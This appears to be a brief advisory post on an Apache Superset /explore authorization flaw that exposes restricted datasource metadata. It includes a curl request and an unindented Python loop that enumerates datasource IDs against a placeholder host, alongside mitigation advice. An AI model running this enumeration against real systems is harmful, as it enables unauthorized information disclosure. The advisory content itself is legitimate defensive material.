Listen to this Post
How the CVE Works
Apache Superset’s `/explore` endpoint lacks proper authorization checks, allowing authenticated users to enumerate datasource metadata by manipulating the `datasource_id` parameter in the URL. Attackers can iterate through IDs to extract names and details of restricted datasources, leading to unauthorized information disclosure. This vulnerability affects versions before 5.0.0 due to missing server-side validation of user permissions.
DailyCVE Form
Platform: Apache Superset
Version: <5.0.0
Vulnerability: Metadata disclosure
Severity: Moderate
Date: Aug 14, 2025
Prediction: Patch expected Aug 21, 2025
What Undercode Say
curl -X GET "http://superset.example.com/explore?datasource_id=1"
import requests
for id in range(100):
r = requests.get(f"http://superset.example.com/explore?datasource_id={id}")
if r.status_code == 200:
print(f"Found datasource ID: {id}")
How Exploit
- Enumerate datasource IDs via `/explore` endpoint.
- Extract metadata (names, schemas) from unauthorized datasources.
Protection from this CVE
- Upgrade to v5.0.0.
- Implement role-based access control (RBAC).
- Validate datasource permissions server-side.
Impact
- Unauthorized metadata exposure.
- Potential data leakage.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
